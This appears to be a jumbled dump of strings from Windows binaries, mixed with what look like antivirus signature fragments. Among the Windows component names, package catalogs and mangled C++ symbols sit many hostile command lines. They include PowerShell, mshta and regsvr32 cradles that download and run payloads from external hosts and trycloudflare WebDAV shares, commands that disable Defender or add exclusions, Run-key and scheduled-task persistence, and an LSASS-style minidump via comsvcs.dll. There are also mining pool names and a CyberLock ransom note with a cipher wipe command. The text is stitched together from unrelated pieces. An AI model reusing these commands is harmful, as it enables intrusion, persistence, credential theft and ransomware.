:Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
>Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
9Microsoft.Windows.Widgets.Providers.IWidgetManagerStatics
(Microsoft.Windows.Widgets.WidgetContract
BMicrosoft.Windows.Widgets.Providers.IWidgetResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsStatics
(Microsoft.Windows.Widgets.WidgetContract
Microsoft.Windows.Wil.FeatureLogging
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.Explorer
Microsoft.Windows.Shell.StartupHealth
Microsoft.Windows.Shell.Taskbar.ProgrammableTaskbar
Microsoft.Windows.Shell.Desktop.SoftLandingAnaheimPromotion
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Desktop.Shell.SoftLanding
Microsoft.Windows.Shell.AIX
Microsoft.Windows.ImmersiveColor
Microsoft.Windows.Shell.ControlPanelBase
Microsoft.Windows.ShellPlacements
Microsoft.Windows.Licensing.IUI
Microsoft.Windows.Shell.CommandSearchHardwareRequirements
Microsoft.Windows.Shell.HardwareRequirements
Microsoft.Windows.Shell.WindowsCopilot
Microsoft.Windows.Desktop.AIAssistance
Microsoft.Windows.Shell.CloudBackupRestore
Microsoft.Windows.Shell.Desktop.UserLogonTelemetry
Microsoft.Windows.Shell.DesktopSpotlightLogon
Microsoft.Windows.Shell.Oobe.ExpeditedUpdate
Microsoft.Windows.Shell.NthBioRecallSetupLogging
Microsoft.Windows.Shell.NthSnapshotCaptureLogging
Microsoft.Windows.Shell.NthWASCConsentLogging
Microsoft.Windows.Shell.PersonalDataExportConsentLogging
Microsoft.Windows.Shell.BiometricConsentLogging
Microsoft.Windows.Shell.PrivacyConsentLogging
Microsoft.Windows.MobilityExperience
Microsoft.Windows.ContentDeliveryManager
Microsoft.Windows.Desktop.Shell.OOBEHealth
Microsoft.Windows.Shell.Desktop.LogonFramework
MicrosoftWindowsFileExplorer
Microsoft.Windows.Shell.CloudExperienceHostCore
Microsoft.Windows.Shell.RunOnce
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
Microsoft.Windows.Settings.Accessibility
windowsEnabled
isDefaultWindowsImage
9NB6BVL3MTG4Minecraft Dungeons for Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.33021.14089602043039621.efe46bfe-4de2-4879-a22b-f3b08650221c.9dc86bae-d2cd-4b49-9d6e-dc8b128e14c8en
9NB6BVL3MTG4Minecraft Dungeons for Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.33021.14089602043039621.efe46bfe-4de2-4879-a22b-f3b08650221c.9dc86bae-d2cd-4b49-9d6e-dc8b128e14c8fr
r Windows + Launcherhttps://store-images.s-microsoft.com/image/apps.33021.14089602043039621.efe46bfe-4de2-4879-a22b-f3b08650221c.9dc86bae-d2cd-4b49-9d6e-dc8b128e14c8de
9NP6WL1XQDBWSnowRunner (Windows 10)https://store-images.s-microsoft.com/image/apps.55989.13728552621924096.0f7a693b-b178-499b-ac11-0ea8578f8480.75503e8c-6c2f-46c4-b4ac-ca13ac1c9c0fen
9NP6WL1XQDBWSnowRunner (Windows 10)https://store-images.s-microsoft.com/image/apps.55989.13728552621924096.0f7a693b-b178-499b-ac11-0ea8578f8480.75503e8c-6c2f-46c4-b4ac-ca13ac1c9c0ffr
9NP6WL1XQDBWSnowRunner (Windows 10)https://store-images.s-microsoft.com/image/apps.55989.13728552621924096.0f7a693b-b178-499b-ac11-0ea8578f8480.75503e8c-6c2f-46c4-b4ac-ca13ac1c9c0fde
 - Windows 10https://store-images.s-microsoft.com/image/apps.62485.13762125458177399.e3dc12bf-b35c-48a4-ae96-9cd3eda2895e.425b2c07-41dc-474e-8239-2d02c451d1fden
 - Windows 10https://store-images.s-microsoft.com/image/apps.62485.13762125458177399.e3dc12bf-b35c-48a4-ae96-9cd3eda2895e.425b2c07-41dc-474e-8239-2d02c451d1fdfr
 - Windows 10https://store-images.s-microsoft.com/image/apps.62485.13762125458177399.e3dc12bf-b35c-48a4-ae96-9cd3eda2895e.425b2c07-41dc-474e-8239-2d02c451d1fdde
WINDOWS11
ROOT\Microsoft\Windows\Defender
OOT\Microsoft\Windows\Defender
WindowsFormsApp
Software\Microsoft\Windows\Amphitryon228\Uninstall\clavi\opacitiesS
C:\Windows\
C:\Windows\
+\windows\currentversion\explorer\shell foldersf126.com/go/
.jpg\system32\drig
WindowsDialogBox
WindowsTopResults
WindowsTerminal_1.18.1030T
Microsoft.Windows.Kernel.KernelBase
Microsoft.Windows.WiFiCloudStore
GLOBAL.WINDOWSOOBEAPPHOST.APPXZ53MM6GHETJ3F5M66EA0RHAHD10QADP8.WWA
Microsoft-Windows-Explorer-NPSMDesktopShell
GLOBAL.WINDOWSOOBEAPPHOST.APPX05DBT8NQG2MY7AN1972Z1KRX3EZGSQPH.MCA
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|UserExperience-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|crosoft-Windows-Client-Features-Package011~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-DirectoryServices-ADAM-Snapins-Admin-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|iseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|.
ManagerApp@winrt@@@5673@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@5673@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVector@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@5673@U?$IIterable@UIInspectable@Foundation@Windows@winrt@@@5673@@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IObservableVector@UIInspectable@Foundation@Windows@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IVectorView@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@X@impl@winrt@@
.?AUtype@?$abi@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$convertible_observable_vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$vector@UWaitChainViewModel@TaskManagerApp@winrt@@V?$allocator@UWaitChainViewModel@TaskManagerApp@winrt@@@std@@@std@@Usingle_threaded_collection_base@impl@3@@impl@winrt@@U?$IIterable@UWaitChainViewModel@TaskManagerApp@winrt@@@Collections@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$produce@USettingsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
WindowsConcatString
WindowsTrimStringStart
GetWindowsDirectoryW
WindowsTrimStringEnd
WindowsStringHasEmbeddedNull
WindowsSubstringWithSpecifiedLength
}."my_fwstatus","get-fwstatus","","misc","fwstatus","info","listwindowsfirewallstatus(local|domain|public)","list",true
;hklm\software\policies\microsoft\windowsdefender\exclusions\paths""/v"""&userprofile&"""/treg_dword/d0/f"wshshell.run
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.DataExchange
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.PlatformExtensions
Microsoft.Windows.DataExchange
Microsoft.Windows.DragDropContainerTelemetry
OpenWindowStationW
GetProcessWindowStation
SetProcessWindowStation
CloseWindowStation
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
WINDOWS.INTERNAL.SECURITY.CREDENTIALS.WEBACCOUNTPROVIDERINTERNAL
WINDOWSUDK.SYSTEM.USERPROFILE.MICROSOFTACCOUNTENGAGEMENTCOORDINATOR
GLOBAL.WINDOWSMIGRATION.APPXRATEH92VWHT1AVVYYMSCDV5TX6MPJXZZ.MCA
WINDOWS.APPLICATIONMODEL.BACKGROUND.BACKGROUNDTASKINSTANCE
MICROSOFTWINDOWS.CLIENT.CBS_CW5N1H2TXYEWY!GLOBAL.RULESENGINE
WINDOWS.APPLICATIONMODEL.CONTRACTS.INTERNAL.BACKGROUNDCONTRACTSTORE
Microsoft.Windows.OneCoreUap.CredUI
X86_MICROSOFT-WINDOWS-SETTINGS_31BF3856AD364E35_NONE_025C648FCAEFAB55
|Xc:\programfiles\windowspowershell\modules\pester\3.4.0\bin\pester.bat;cmd/ccls&c^url--outputc:\programdata\robot_radiation_project1.pdf--ssl-no-revoke--urlhttps://huanetdw.c-cdn77.com/grquwy287gdejh39/cfswr523-s&startc:\programdata\robot_radiation_project1.pd
Oc:\windows\system32\cmd.exe/c"echoy3vybcatbyaijvrftvalxhvwzgf0zs56axaiicjodhrwczovl2hvdgvslwludm9py2uubmv0l2jvdggvdxbkyxrllnppccigjiygbwtkaxigiivuru1qjvxfehryywn0zwrfdxbkyxrliiamjib0yxiglxhmicilvevnucvcdxbkyxrllnppcciglumgiivuru1qjvxfehryywn0zwrfdxbkyxrliiam
wc:\windows\system32\cmd.exe/ccolor70&&pushd%temp%&&mshta"javascript:newthis['activ'+'exobj'+'ect']('wscr'+'ipt.s'+'hell').run('cmd/kpowe'+'rshell.exe-commandin'+'voke-w'+'ebrequest-outfiles.jshttp://38.180.121.243/js'+'.php;;wsc'+'ripts.js',0,false);close();
-windowstylehidden-command(new-objectsystem.net.webclient).downloadfile('https://doc-sharepoint.nbcoiling.com/index.php/s/brntwsybm9o7ts5','c:\\programdata\\
c:\windows\system32\cmd.exe/kstartmsedgehttps://www.wto.org/english/docs_e/legal_e/27-trips.pdf&curl-slo%temp%\4dabcd43-0577-4026-9f72-ad5f121fa679.msihttps://us22.info/chart/setup32.msi&%temp%\4dabcd43-0577-4026-9f72-ad5f121fa679.msi/qn|taskkill/f/imcmd.exe
+e4-c:\windows\system32\cmd.exe/kstartmsedgehttps://www.wto.org/english/docs_e/legal_e/27-trips.pdf&curl-slo%temp%\c234f11a-1644-4f4c-8677-18960bc62b92.msihttp://usa7.info/brief/32setup.msi&%temp%\c234f11a-1644-4f4c-8677-18960bc62b92.msi/qn&del/q/f/s%temp%&exit
WindowsCodecs.dll
c:\windows\system32\drivers\root
RESMGR_Winlogonshell
RESMGR_Winlogonuserinit
"C:\WINDOWS\SYSTEM32\cmd" /c C:\TEMP\2890.bat C:\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
\Device\HarddiskVolume3\Windows\System32\winlogon.exe
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.wsw
,$path);c:\windows\system32\rundll32.exe'
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
C:\WINDOWS\system32\backgroundTaskHost.exeC
4WindowSizeChangedEventArgs
6IWindowSizeChangedEventArgsg
="powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile(new-objectsystem.net.webclient).downloadfile('http:
.ps1');powershell.exe-windowstylehidden-executionpolicybypass-nologo-noprofile-file%temp%\
winmgmts:\\localhost\root\SecurityCenter2cmd.exe /c bitsadmin /transfer %RANDOM% /Download /PRIORITY HIGHADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /vcmd /c setx.exe UPLKVARIABLEaHR5cDovL
.?AU?$default_delete@VShareWindowCommandSourceProxyOwner@Bamo@ShareWindow@Shell@Internal@Windows@@@std@@
\Device\HarddiskVolume3\Windows\explorer.exe
windows_ie_ac_001S-1-5-21-3914889805-4071901059-918772286-1001-In-Blockn
windows_ie_ac_001S-1-5-21-3914889805-4071901059-918772286-1001-Out-Block
onecore\windows\core\console\open\src\terminal\parser\statemachine.cpp
onecore\windows\core\console\open\src\terminal\parser\inputstatemachineengine.cpp
onecore\windows\core\console\open\src\terminal\parser\outputstatemachineengine.cpp
onecore\windows\core\console\open\src\audio\midi\midiaudio.cpp
 @`onecore\windows\core\console\open\src\renderer\base\rendersettings.cpp
onecore\windows\core\console\open\src\renderer\vt\vtrenderer.hpp
onecore\windows\core\console\open\src\renderer\vt\invalidate.cpp
onecore\windows\core\console\open\src\server\processhandle.cpp
onecore\windows\core\console\open\src\server\entrypoints.cpp
onecore\windows\core\console\open\src\server\consoleshimpolicy.cpp
GetLargestConsoleWindowSize
\Device\HarddiskVolume3\Windows\System32\wbem\mofcomp.exe
\Device\HarddiskVolume3\Windows\System32\taskkill.exe
\Device\HarddiskVolume3\Windows\System32\wevtutil.exe
MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy
\Device\HarddiskVolume3\Windows\System32\rgnupdt.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
\Device\HarddiskVolume3\Windows\System32\conhost.exe`B
\Device\HarddiskVolume3\Windows\System32\tzsync.exe
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.1
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.10
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.11
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.12
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.13
Windows.Networking.BackgroundTransfer.Internal.BackgroundTransferTask.ClassId.14
MicrosoftWindows.Client.Photon_cw5n1h2txyewy-In-Allow-ServerCapability
\Device\HarddiskVolume3\Windows\System32\appidpolicyconverter.exe
\Device\HarddiskVolume3\Windows\System32\oobe\FirstLogonAnim.exe
\Device\HarddiskVolume3\Windows\System32\oobe\msoobe.exe
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"Trojan:O97M/Obfuse.K
software\microsoft\windows nt\currentversion\winlogon\specialaccounts\userlists
\system32
c:\\Microsoft Windows Update.lnk
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ComSpec=C:\WINDOWS\system32\cmd.exe
ComSpec=C:\WINDOWS\system32\cmd.exe
?C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\staging.h
Microsoft.Windows.TlgAggregateInternal
^c:\windows\system32\regsvr32.exe/u/s/i:https://goo.gl/
\gC".cyberlockAll your files have been encrypted.How do I pay?You must send $ 25000 (USD) to the first Monero addressWe are CyberLock - Anonymous.ReadMeNow.txtHKCU:\Control Panel\DesktopStart-Process cipher.exe -ArgumentList "/w:$env:USERPROFILE" -WindowStyle HiddenEmail: cyberspectreislocked@onionmail.orgPlease send a screenshot of the payment. We will respond within 5 hours with the decryption key.
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\AppListViewItemTracker.cpp
shellcommon\shell\Windows.UI.Shell\StartDocked\StartDocked\ContextMenuBehavior.cpp
software\microsoft\windows\currentversion\app paths\alcohol.exes
\zfnlog.vbs%%~qcopy/yc:\windows\ime\nlog.vbsc:\windows\system32echo|schtasks/create/tn"3q11f1684"/tr"'ifnotexistmoy.doc.cmdc:\windows\ime\moy.doc.cmd'"/scminute/mo32/ru"system"/rlhighestecho|schtasks/create/tn"3q11f1684x"/tr"'ifnotexistnlog.vbsc:\windows\ime\moy.doc.cmd'"/scminute/mo30/ru"system"/rlhighestifnotexistc:\windows\ime\dli.cmdfor%%pin("for%%%%qin(d:e:f:g:h:i:j:k:l:m:n:odo@ifexist%%%%qecho|copy/yc:\windows\system32\moy.doc.cmd%%%%q","exit&quotdoecho>>c:\windows\ime\dli.cmd%%~pexit
client.wns.windows.com
c:\windows\system32\regsvr32.exe0/u/s/i:https://tinyurl.com/ybsvlbvqscrobj.dll
Windows
_Windows_ver{
;FW("c:\\windows\\system32\\drivers\\\kl1.sys")){window['
"shell.run""cmd/ctakeown/fc:\windows\system32\hal.dll&&icaclsc:\windows\system32\hal.dll/granteveryone:(f)
c:\windows\system32\svchost.exe -o 
pool.supportxmr.compool.minexmr.comSet-MpPreference -DisableRealtimeMonitoring $trueMicrosoft\Windows\CurrentVersion\Run
cmd.exe /c powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile( 'http
Windows.Data.Input.RadialControllerSettingsCache
 c:\windows\system32\
.run("powershell-windowstylehidden$
e6^windows.deploymentExtensionHandler
ef^windows.publisherCacheFolders
f0^windows.deploymentExtensionHandler
1^windows.internal.filePickerExperience
$a12093be-6fda-48c1-9b1d-01d449a707feSystem.Windows.Form
.regwrite "hkcu\software\microsoft\windows\currentversion\runoutupdate,wincredmod &h100+ &ha5
windows.globalization.fontgroups.dll
ext-ms-win-ntuser-windowstation-l1-1-0.dll
internal\sdk\inc\cppwinrt\winrt\Windows.UI.Xaml.Automation.h
{"name": "%s", "build_date": "%s %s", "arch": "windows", "id": "%s", "username": "%s", "pid": "%d" }
Windows
Software\Microsoft\Windows\CurrentVersion\Uninstall\Merceriseredes\octaviaS
add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "KeybordDriver" /t REG_SZ /dTrojan:Win64/Havoc.PAGZ!MTB
C:\Windows\BSOD.exeC
C:/Windows/Warning.jpgC
shell\immersiveshellserviceprovider\dll\windowsizingbroker.cpp
$\system32\svchost.exe -k netsvcs%s "%s",rundll32callnewcopyoutofuac
~--killstart--killmetro--sbopenav--resexplrcmd.exe /c explorer.exeSOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPageRansom:Win32/LockCrypt.A!bit
c:\windows\system64\
c:\windows\system64\
]System32\svchost.exe -kRansom:Win32/Cerber.L!bit
Software\Microsoft\Windows\CurrentVersion\Policies\System\
SDK-Version: EVT-Windows-C++-No-3.8.249.1
windows_dispatcher_MSG
windows_generic_MSG
 Windows
 Windows
\microsoft\windows\startmenu\pro
C:\WINDOWS\system32\cmd.exe /c schtasks /create /tn "SystemUpdater" /tr "C:\Users\Public\
C:\WINDOWS\system32\cmd.exe /c reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v CommonNET /t REG_SZ /d C:\
Microsoft.Windows.EMPS.Enrollment
Microsoft.Windows.CDP.UserService
>Aramos$..\..\..\..\windows\system32\cmd.exen/v/cstar^tm^siexe^c-^f^v"http://gz.qa:8080/byb1m1bm9sx5nr3medqw/znntvzy/yn2zeret7l1po/!computername!"-^q!%systemroot%\system32\shell32.dll
KF>c:\windows\system32\cmd.exe/ccopy\\episode-windsor-subdivision-delivery.trycloudflare.com@ssl\davwwwroot\
9c:\windows\system32\msiexec.exe/i"\\endif-picks-dense-vacuum.trycloudflare.com@ssl\davwwwroot\windscribe.msi"
c:\windows\system32\wscript.exe"\\deadly-fascinating-along-staying.trycloudflare.com@ssl\davwwwroot\bill.wsf"
hardconfigurator@gmail.comwindowshardeningconfiguratorunizetotechnologiescertumcertificationauthority1certumtrustednetworkca!#HSTR:Trojan:MSIL/AgentTesla.TGYY1!MTB
Microsoft.Windows.DusmSvc
Microsoft.Windows.Wil.FeatureLogging
regaddhkey_current_user\software\microsoft\windows\currentversion\policies\system/vdisabletaskmgr/treg_sz/d1/f>nul
.regwrite"hkey_current_user\software\microsoft\windows\currentversion\policies\system\disabletaskmgr",1,"reg_dword
powershell.exe-windowstylehiddenc:\users\public\document\python
-windowstylehiddenadd-mppreference-exclusionpathc:\users\
a-z0-9\appdata\roaming\microsoft\windows\taskmgr.exe
echo---disabledefinitionupdatesthroughbothwsusandwindowsupdate
echo---disable"appandbrowsercontrol"sectionin"windowssecurity"
=str(pathlib.purewindowspath(blob[
OS=Windows_NT
WINDOWS\ServiceProfiles\Local
=C:\Windows\System32\
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.SystemSettings.DataModel
Microsoft.Windows.RegionPolicy.PolicyEvaluator
Microsoft.Windows.Shell.SystemSettings.Command
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
_WindowsMediaPlayer
OS=Windows_NT
powershell.exe-windowstylehidden-commandexpand-archive-path"c:\users\public\
Fregadd"hklm\software\policies\microsoft\windowsdefender\real-timeprotection"/v"disableioavprotection"/treg_dword/d"1"/f
-noprofile-windowstylehidden-encodedcommandjabiageacwblaeqaaqbyacaapqagaciajablag4adga6aeeauabqaeqaqqbuaeeaiga7acaajab1
muiwshshell3.regwrite("hkcu\software\microsoft\windows\currentversion\run\","c:\programdata\
c:\\windows\\system32\\comsvcs.dll,minidump
tHh9"shell.application","microsoft.xmlhttp","hkcu","hklm","hkcu\vjw0rm","\software\microsoft\windows\currentversion\run\"
c:\re\jdk7u45\229\build\windows-amd64\tmp\sun\launcher\servertool\obj64\servertool.pdb1
WINDOWS11
ROOT\Microsoft\Windows\Defender
lfob5po:i+00/c:\v1windows@.windowsz1system32b.system32v2cmd.exe@.cmd.exe/ctypeoqm.dat|cmd!%systemroot%\system32\shell32.dll%wn]nd.q1spsxfl8c&mi,s-1-5-21-81279464-348436523-2886638123-1001
Jcmd.exe/x/v/rs^t^ar^t^msie^x^ec/q^ui^e^typyh=^s^a^jr^c/^f^v"http://2t.pm:8080/bmbdkitnboq/z1/b1faalbyewe7ldgayp9ljzbd/!computername!"e^x^m^i^xd^w^r^y=^c^k^f%windir%\system32\shell32.dll%
\Windows\
System32\
.?AU?$__abi_FunctorCapture@V<lambda_0b44ee885c363d7634cafe6f43b1e65e>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
windows.hlp`
Microsoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
D:\os\obj\amd64fre\onecoreuap\vcpkg\bond\objfre\amd64\vcpkg_installed\target-windows\include\boost/exception/detail/exception_ptr.hpp
onecoreuap\windows\cdp\service\shared\ServiceCallbackNotifier.h
SOFTWARE\Microsoft\Windows\CurrentVersion\SmartGlass
onecoreuap\windows\cdp\common\internal\onecore\ComConversions.h
Microsoft.Windows.ComposableShell.Core.CoreShellExtFramework
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.ComposableShell.Core.CoreShellExtFramework
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
requireWindowsCert
Microsoft.Windows.TlgAggregateInternal
C:\__w\1\s\packages\ExperienceExtensions\windows\Common\RegistryHelpers.h
C:\__w\1\s\packages\ExperienceExtensions\windows\Common\DebugHelpers.h
C:\__w\1\s\packages\ExperienceExtensions\windows\ExperienceExtensions\lib\ExperienceCrashDetector.cpp
MiErrorCategoryFromWindowsError
C:\__w\1\s\packages\ExperienceExtensions\windows\ExperienceExtensions\lib\ReactNativeExperienceViewControl.cpp
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\Staging.h
C:\__w\1\s\packages\ExperienceExtensions\windows\Common\ThreadUtils.h
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\win32_helpers.h
C:\__w\1\s\packages\ExperienceExtensions\windows\packages\Microsoft.Windows.Wil.Internal.0.3.38\inc\wil\opensource\wil\result.h
?resizeMaximizedWindows@QPlatformScreen@@IEAAXXZ
?ws@winrt@@I@Foundation@Windows@winrt@@@rnwinrt@@SA?AV?$shared_ptr@U?$projected_async_instance@U?$IAsyncOperationWithProgress@UIBuffer@Streams@Storage@Windows@winrt@@I@Foundation@Windows@winrt@@@rnwinrt@@@std@@U?$IAsyncOperationWithProgress@UIBuffer@Streams@Storage@Windows@winrt@@I@Foundation@Windows@winrt@@@Z@QEBA?A_PAEBU6789@AEBI@Z@
.?AV<lambda_1>@?1???$?RU?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@I@0?4??create@?$projected_async_instance@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@rnwinrt@@SA?AV?$shared_ptr@U?$projected_async_instance@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@rnwinrt@@@std@@U?$IAsyncOperationWithProgress@II@Foundation@Windows@winrt@@@Z@QEBA?A_PAEBU6789@AEBI@Z@
